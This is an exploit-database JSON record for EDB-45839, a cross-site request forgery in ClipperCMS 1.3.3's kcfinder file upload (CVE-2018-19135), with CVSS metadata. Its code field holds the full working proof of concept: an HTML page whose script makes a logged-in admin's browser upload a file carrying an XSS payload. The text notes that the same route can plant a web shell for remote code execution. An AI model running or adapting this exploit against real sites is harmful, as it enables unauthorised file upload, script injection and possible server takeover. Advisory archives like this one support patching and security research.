{"exploit":{"id":"EDB-45839","name":"ClipperCMS 1.3.3 - 'kcfinder' File Upload Cross-Site Request Forgery (CSRF)","description":"ClipperCMS 1.3.3 - 'kcfinder' File Upload Cross-Site Request Forgery (CSRF)","cves":["CVE-2018-19135"],"author":"Ameer Pornillos","published":"2018-11-13","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45839","path":"exploits/php/webapps/45839.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45839.txt","vulnerabilities":[{"id":"CVE-2018-19135","state":"PUBLISHED","title":null,"titleSource":null,"description":"ClipperCMS 1.3.3 does not have CSRF protection on its kcfinder file upload (enabled by default). This can be used by an attacker to perform actions for an admin (or any user with the file upload capability). With this vulnerability, one can automatically upload files (by default, it allows html, pdf, xml, zip, and many other file types). A file can be accessed publicly under the \"/assets/files\" directory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-19135","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-19135"},"updatedAt":"2024-08-05T11:30:04.057Z","retrievedAt":"2026-11-26T14:05:30.021Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45839.png?v=2","url":"https://exploitbin.com/exploits/EDB-45839","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45839/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45839/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: ClipperCMS 1.3.3 File Upload CSRF Vulnerability\n# Date: 2018-11-11\n# Exploit Author: Ameer Pornillos\n# Website: http://ethicalhackers.club\n# Vendor Homepage: http://www.clippercms.com/\n# Software Link: https://github.com/ClipperCMS/ClipperCMS/releases/tag/clipper_1.3.3\n# Version: 1.3.3\n# Tested on: Windows 10 x64 (XAMPP, Firefox)\n# CVE : CVE-2018-19135\n\n* Description:\n\nClipperCMS 1.3.3 does not have CSRF protection on its kcfinder file upload\nwhich is being used by default. This can be used by an attacker to perform\nactions for an admin (or any user with file upload capability). With this\nvulnerability, it can automatically upload file/s (by default it allows\naac,au,avi,css,cache,doc,docx,gz,gzip,htm,html,js,mp3,mp4,mpeg,mpg,ods,odp,odt,pdf,ppt,pptx,rar,tar,tgz,txt,wav,wmv,xls,xlsx,xml,z,zip\nas file types). Note that web shell that can be used for remote code\nexecution can be achieved depending on the file types being accepted.\nUploaded file can be accessed publicly on the \"/assets/files\" directory\n(e.g. uploaded a malicious html file with filename: poc.html file =>\nhttp://<clipperwebsite>/clipper/assets/files/poc.html).\nThis can lead for the website to be host unintended file/s.\n\n*Steps to reproduce:\n\nAdmin (or user with file upload capability) logged in ClipperCMS 1.3.3 ->\nbrowse/open a controlled website (e.g. by link or open PoC below in a\nbrowser where admin/user logged in to ClipperCMS 1.3.3) with the poc below\n-> file is uploaded and can be accessed on http://\n<clipperwebsite>/clipper/assets/files/poc.html\n\n*Proof of Concept:\n\nPoC below will automatically upload a \"poc.html\" file with simple XSS\npayload. Steps above are how to make use of the PoC.\n\n<html>\n  <!-- CSRF Auto Upload File ClipperCMS PoC -->\n  <body>\n    <script>\n        var xhr = new XMLHttpRequest();\n        xhr.open(\"POST\",\n\"http:\\/\\/clipperwebsite\\/clipper\\/manager\\/media\\/browser\\/kcfinder\\/browse.php?type=files&lng=en&act=upload\",\ntrue);\n        xhr.setRequestHeader(\"Accept\",\n\"text\\/html,application\\/xhtml+xml,application\\/xml;q=0.9,*\\/*;q=0.8\");\n        xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\n        xhr.setRequestHeader(\"Content-Type\", \"multipart\\/form-data;\nboundary=---------------------------167248871811044278431417596280\");\n        xhr.withCredentials = true;\n        var body =\n\"-----------------------------167248871811044278431417596280\\r\\n\" +\n          \"Content-Disposition: form-data; name=\\\"upload[]\\\";\nfilename=\\\"poc.html\\\"\\r\\n\" +\n          \"Content-Type: text/html\\r\\n\" +\n          \"\\r\\n\" +\n          \"\\x3cscript\\x3ealert(\\'XSS\\')\\x3c/script\\x3e\\n\" +\n          \"\\r\\n\" +\n          \"-----------------------------167248871811044278431417596280\\r\\n\"\n+\n          \"Content-Disposition: form-data; name=\\\"dir\\\"\\r\\n\" +\n          \"\\r\\n\" +\n          \"files\\r\\n\" +\n\n\"-----------------------------167248871811044278431417596280--\\r\\n\";\n        var aBody = new Uint8Array(body.length);\n        for (var i = 0; i < aBody.length; i++)\n          aBody[i] = body.charCodeAt(i);\n        xhr.send(new Blob([aBody]));\n    </script>\n  </body>\n</html>\n\n*Proof of Concept Demo:\n\nActual video demo of the vulnerability being exploited is available on:\nhttps://youtu.be/bEYqb99MdYs\n\n*Reference:\n\nhttps://github.com/ClipperCMS/ClipperCMS/issues/494","sha256":"898088e06cbdce706acd00189909d147436b7c1b895b3ed69f63da0a06deb202","bytes":3284,"fetchedAt":"2026-11-26T14:05:29.812Z","encoding":"utf-8 (display only; download retains original bytes)"}